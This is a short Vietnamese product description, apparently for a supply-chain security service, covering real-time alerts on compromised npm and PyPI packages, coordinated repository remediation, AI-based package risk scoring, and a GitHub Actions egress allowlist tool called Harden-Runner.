Trung tâm mối đe dọa - Cảnh báo theo thời gian thực về các gói bị xâm phạm, nhà bảo trì bị tấn công và các chiến dịch tấn công mới nổi được gửi trực tiếp vào quy trình công việc SIEM hiện có. Cảnh báo bao gồm tóm tắt cuộc tấn công, phân tích kỹ thuật, IOC, phiên bản bị ảnh hưởng và các bước khắc phục — mọi thứ cần thiết để phân loại và phản hồi ngay lập tức.
Khắc phục phối hợp - Kết hợp thông tin về mối đe dọa, tìm kiếm gói và đường cơ sở của mạng để tạo danh sách ưu tiên gồm các kho lưu trữ bị ảnh hưởng với hướng dẫn nhất quán, cho phép các bản sửa lỗi phối hợp trên hàng chục hoặc hàng trăm kho lưu trữ cùng một lúc.
Bảo vệ quy trình của bạn: AI Package Analyst giám sát mọi npm và PyPI xuất bản trong thời gian thực, chấm điểm rủi ro chuỗi cung ứng cho các gói trước khi bạn cài đặt chúng. Harden-Runner thực thi danh sách cho phép đầu ra mạng trong GitHub Actions, chặn các lệnh gọi lại C2 và các kết nối gửi đi không mong muốn ngay cả khi gói độc hại lọt qua.
Tác giả: mtud